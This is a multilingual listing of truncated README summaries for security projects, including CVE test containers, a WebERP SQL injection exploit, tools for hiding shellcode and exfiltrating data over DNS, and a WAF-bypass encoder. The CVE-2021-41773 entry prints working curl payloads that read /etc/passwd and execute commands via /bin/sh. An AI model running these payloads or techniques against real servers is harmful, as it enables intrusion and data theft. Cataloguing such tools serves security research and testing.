cve-2021-42013-httpd

Докеризация уязвимости: cve-2021-42013 Этот проект направлен на докеризацию конкретной уязвимости с помощью Docker. Цель — создать изолированную среду, в которой уязвимость можно безопасно эксплуатировать и тестировать. Уязвимое приложение Apache HTTP Server 2.4.50 - удалённое выполнение кода &&...

CVE-2019-13292-WebERP_4.15

WebERP용 블라인드 SQL 인젝션 익스플로잇 이것은 2019년 6월 10일 Semen Alexandrovich Lyhin이 처음 발견한 WebERP 4.15 버전의 블라인드 SQL 인젝션 취약점에 대한 익스플로잇을 시연하는 Python3 스크립트입니다. 원본 익스플로잇은 여기에서 찾을 수 있으며, WebERP 시스템에 대한 자세한 내용은 공식 WebERP 웹사이트에서 확인할 수 있습니다. 개요 이 취약점은 WebERP가 base64 인코딩으로 수신된 쿼리를 unserialize 함수에 전달하여 처리하는 방식에 있습니다. 특...

Shelltropy

Shelltropy Plus vous êtes prévisible, moins vous êtes détecté Une technique pour cacher du shellcode malveillant basée sur une faible entropie via le codage de Shannon. L'entropie est la mesure du caractère aléatoire d'un ensemble de données ici : du shellcode. Plus l'entropie est élevée, plus le...

CVE-2022-21907-http.sys

CVE-2022-21907 - Двойное освобождение в драйвере http.sys CVE-2022-21907 - Двойное освобождение в драйвере http.sys Краткое описание Неаутентифицированный злоумышленник может отправить HTTP-запрос с заголовком "Accept-Encoding", что вызывает двойное освобождение в неизвестном списке кодировок...

go-pkcs12

пакет pkcs12 import "software.sslmate.com/src/go-pkcs12" Пакет pkcs12 реализует часть PKCS12 также известного как P12 или PFX. Он предназначен для декодирования DER-кодированных P12/PFX файлов для использования с пакетом crypto/tls, а также для кодирования P12/PFX файлов для использования...

Decodify

Decodify Il peut détecter et décoder des chaînes encodées, récursivement. Prenons cette chaîne : s0md3v et encodons-la en Base 64 czBtZDN2 Maintenant, encodons-la en hexadécimal 637a42745a444e32 Et maintenant encore en Base 64 NjM3YTQyNzQ1YTQ0NGUzMg== Maintenant, fournissons-la à Decodify Boom!...

PowerExfil

PowerExfil Набор скриптов для эксфильтрации данных, предназначенных для оценок Red Team. ExfilCards.ps1 - Этот скрипт эксфильтрирует номера кредитных карт с помощью строк в кодировке base64 на пользовательский DNS-сервер. ExfilDataStreamDNS.ps1 - Этот скрипт эксфильтрирует всё содержимое файла с...

DoodleCloud

DoodleCloud ☁️ Transformez Instagram en votre espace de stockage cloud personnel et illimité. DoodleCloud est un outil de preuve de concept PoC qui utilise l'API interne d'Instagram pour stocker gratuitement des fichiers illimités. En convertissant les fichiers en images de « bruit visuel » et en...

cook

COOK Un générateur de wordlist surpuissant, capable de diviser, fusionner, rechercher, sauvegarder, créer des permutations et combinaisons de mots, appliquer différents encodages/décodages et tout ce dont vous avez besoin. Tueur de frustration ! & Personnalisable ! Index Installation Configuratio...

Steganography

Stéganographie Table des matières Installation Manipulation de séquences d'octets WavSteg LSBSteg StegDetect Si vous n'êtes pas familier avec les techniques de stéganographie, j'ai également écrit un aperçu de base du domaine dans Steganography: Hiding Data Inside Data. Installation Ce projet est...

owasp-java-encoder

OWASP Java Encoder Contextual output encoding for Java 8+. Choose an encoder for the parser context receiving untrusted text: HTML, JavaScript, CSS, XML or a URL component. The core has no runtime dependencies; optional JSP and Jakarta adapters provide view-layer bindings. Encoding is one part of...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 — уязвимость Path Traversal в Apache 2.4.49. RCE POC PoC Полезная нагрузка curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Подписывайтесь на нас Vulnmachines...

CVE-2022-28986

CVE-2022-28986 Уязвимость небезопасных прямых ссылок на объекты Insecure Direct Object References, IDOR в плагине «Simple 2FA Plugin for Moodle» от LMS Doctor Детали уязвимости Риск : Критический Вендор: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle Раскрыл: Flaviu Popescu Описани...

Invoke-Transfer

Invoke-Transfer PowerShell Transfert de données par presse-papiers Invoke-Transfer est un outil PowerShell qui vous aide à envoyer des fichiers dans des environnements hautement restreints tels que Citrix, RDP, VNC ou Guacamole. Vous pouvez envoyer des fichiers au format texte, en petits morceaux...

CyberChef

CyberChef Кибер-швейцарский армейский нож CyberChef — это простое интуитивно понятное веб-приложение для выполнения всевозможных «кибер»-операций в веб-браузере. Эти операции включают простое кодирование, такое как XOR и Base64, более сложное шифрование, такое как AES, DES и Blowfish, создание...

ghauri

Like Ghauri, consider supporting the developer Ghauri An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws. Requirements Python 3 Python pip3 Installation cd to ghauri directory. install requirements: python3 -m pip install --upgrade ...

tesseract

Unit Testing for Tesseract Requirements Files and structure ├── langdatalstm │ ├── common.punc │ ├── common.unicharambigs │ ├── desiredbigrams.txt │ ├── eng │ │ ├── desiredcharacters │ │ ├── eng.config │ │ ├── eng.numbers │ │ ├── eng.punc │ │ ├── eng.singlestext │ │ ...

SharpEventPersist

SharpEventPersist Persistance par écriture/lecture de shellcode depuis le Journal des événements. Utilisation L'outil SharpEventPersist prend 4 paramètres sensibles à la casse : -file "C:\path\to\shellcode.bin" -instanceid 1337 -source Persistence -eventlog "Key Management Service". Le shellcode...

python-codext

CodExt Encodez/décodez n'importe quoi. CodExt est une bibliothèque compatible Python2-3 qui étend la bibliothèque native codecs notamment pour ajouter de nouveaux encodages personnalisés et des correspondances de caractères et fournit 120+ nouveaux codecs , d'où son nom combinant CODecs EXTension...

XORpass

XORpass est un encodeur permettant de contourner les filtres WAF en utilisant des opérations XOR. Installation et utilisation git clone https://github.com/devploit/XORpass cd XORpass $ python3 xorpass.py -h Exemple de contournement : Utilisation d'une fonction PHP claire : Utilisation du...